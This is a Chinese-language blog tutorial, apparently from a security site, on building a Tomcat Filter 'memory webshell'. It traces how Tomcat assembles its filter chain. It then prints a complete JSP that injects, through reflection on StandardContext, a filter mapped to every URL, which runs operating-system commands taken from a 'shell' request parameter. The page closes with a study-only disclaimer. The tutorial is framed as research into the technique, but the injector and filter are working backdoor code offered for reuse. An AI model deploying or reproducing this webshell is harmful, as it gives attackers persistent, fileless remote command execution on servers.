前置知识
tomcat三大组件
Tomcat 是一个开源的 Java Servlet 容器,当一个 HTTP 请求到达Tomcat以及返回响应时,它会先后经过Listener、Filter、Servlet三大组件。
-
Servlet:处理客户端请求并生成响应,执行核心业务逻辑。
-
Filter:Filter也称之为过滤器,是对Servlet技术的一个强补充。其主要功能是在HttpServletRequest到达 Servlet以及HttpServletResponse到达客户端之前进行拦截,根据需要对其进行检查与修改。主要应用于权限控制、日志记录、性能监控、数据加解密等场景。
-
Listener:监听应用程序中的特定事件并执行相应操作,用于管理应用程序的生命周期和会话状态。例如资源初始化和释放、会话跟踪和统计在线用户数。
请求处理流程
启动阶段:在 Web 应用启动时,ServletContextListener 监听器会被触发执行 contextInitialized 方法,进行初始化资源,例如数据库连接池的创建。
请求到达:请求到达 Tomcat后,Tomcat 将请求传递给与该请求路径匹配的过滤器链。
Filter 链处理:请求首先经过配置在 web.xml 或通过注解定义的过滤器链。每个 Filter 的 doFilter 方法会依次执行,Filter 可以选择继续将请求传递到下一个 Filter 或最终的 Servlet,或者直接生成响应并返回。在处理过程中,Filter 可以修改请求对象(例如添加属性、修改参数)或拦截请求(例如进行权限验证)。
Servlet 处理:经过 Filter 链后,请求到达目标 Servlet。Servlet 根据请求类型调用相应的 doGet、doPost 方法处理请求,生成响应内容。
响应处理:Servlet 处理完请求后,响应会依次经过 Filter 链中的每个 Filter 的 doFilter 方法。Filter 可以修改响应内容(例如添加响应头、压缩响应内容)。
经过所有 Filter 后,响应被传递回客户端。
销毁阶段:当 Web 应用关闭时,ServletContextListener 监听器会被触发执行contextDestroyed 方法,释放资源。
Filter
在开始分析Filter内存马之前,我们需要先知道,Filter类中的doFilter方法是如何被执行的。
Demo
先直接创建一个有恶意代码的filter
public class HelloFilter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
System.out.println("过滤结束");
}
在web.xml中添加Filter
<filter>
<filter-name>hellofilter</filter-name>
<filter-class>com.example.HelloFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>hellofilter</filter-name>
<url-pattern>/hello-servlet</url-pattern>
</filter-mapping>
可以成功弹出计算器
Filter代码执行流程
在filterChain.doFilter(servletRequest,servletResponse)打断点, 这是请求预处理的关键点 。
跟进doFilter,会发现ApplicationFilterChain类的filters属性中包含了自定义的filter信息。
这里的ApplicationFilterChain已经是一个完整的filter链,所以我们往前查找ApplicationFilterChain是如何生成的。
可以看的StandardWrapperValve这个类中,这里已经创建好了Filter链并准备执行doFilter。
FilterChain 接口在 Java Servlet API 中用于封装和管理过滤器链 包含了一系列按照配置顺序排列的过滤器对象。 当前过滤器在完成其逻辑后,通过调用 FilterChain 的 doFilter 方法将请求和响应传递到下一个过滤器或目标 Servlet。
往上翻,跟进到createFilterChain方法,进入ApplicationFilterFactory.java,开始调试。
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
// 如果目标 Servlet 为 null,返回 null
if (servlet == null) {
return null;
} else {
// 定义 filterChain 变量
ApplicationFilterChain filterChain = null;
// 如果请求对象是 Request 类型
if (request instanceof Request) {
Request req = (Request)request;
// 如果启用了安全机制,创建新的 ApplicationFilterChain
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
// 尝试从请求中获取现有的 filterChain
filterChain = (ApplicationFilterChain)req.getFilterChain();
// 如果现有的 filterChain 为 null,则创建新的并设置到请求中
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// 如果请求对象不是 Request 类型,创建新的 ApplicationFilterChain
filterChain = new ApplicationFilterChain();
}
// 设置目标 Servlet
filterChain.setServlet(servlet);
// 设置是否支持异步处理
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// 获取 Servlet 所属的上下文
StandardContext context = (StandardContext)wrapper.getParent();
// 获取上下文中的所有 FilterMap
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
// 获取请求的 DispatcherType
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
// 初始化 requestPath 变量
String requestPath = null;
// 尝试从请求属性中获取请求路径
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
// 获取目标 Servlet 的名称
String servletName = wrapper.getName();
// 准备遍历 filterMaps
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
// 第一轮遍历,根据 URL 匹配过滤器
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
// 第二轮遍历,根据 Servlet 名称匹配过滤器
var10 = filterMaps;
var11 = filterMaps.length;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
// 返回创建的 filterChain
return filterChain;
} else {
// 如果没有 filterMaps,返回空的 filterChain
return filterChain;
}
}
}
(1)首先,实例化一个filterChain,然后获取当前 Servlet 包含在的上下文,从调式信息就可以看到是 StandardContext 对象。
(2)定义一个filterMaps 获取了当前上下文中的过滤器映射。此时的filterMaps就获取到了两个过滤器,一个是自定义的,一个是tomcat自带的过滤器。
(3)跟据filterMaps循环遍历,通过URL 和 Servlet 名称匹配过滤器,并使用 addFilter 方法将filterconfig加到链中。
(4) 返回创建好的 filterChain。
至此filterChain封装完成,返回到StandardWrapperValve#invoke方法中执行filterChain.doFilter(request.getRequest(), response.getResponse());进入当前filterChain的执行阶段。
根据上面的代码,我们的攻击思路就是把恶意的Filter添加进 filterConfigs 里,等它取出来,添加到Filter链中就可以将filter注入到内存中。进入ApplicationFilterConfig查看filterConfigs的构成。
内存马构造
根据上面的分析,构造内存马主要有三个步骤:
(1)获取context,fiterConfig的相关内容都是从context中得到;
(2)创建filter;
(3)将filter ,FilterDefs,FilterMaps添加到FilterConfigs中。
直接从别的师傅那里down的文件
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//请求对象 request 中获取 ServletContext 对象。
ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一个类,用于封装 Spring 的 Web 应用程序上下文。
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通过反射获取上下文
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
// context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值,它被强制转换为 ApplicationContext 类型
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//类型转换standardContext,标准的web应用程序上下文
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
//构造filter对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("执行过滤");
}
@Override
public void destroy() {
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//将过滤器的配置信息添加到应用程序上下文中
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
//添加映射的路由为所有请求
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将上述设置好的过滤器映射对象添加到 StandardContext 中,并将其插入到已有的过滤器映射之前
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("注入完成");
}
%>
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)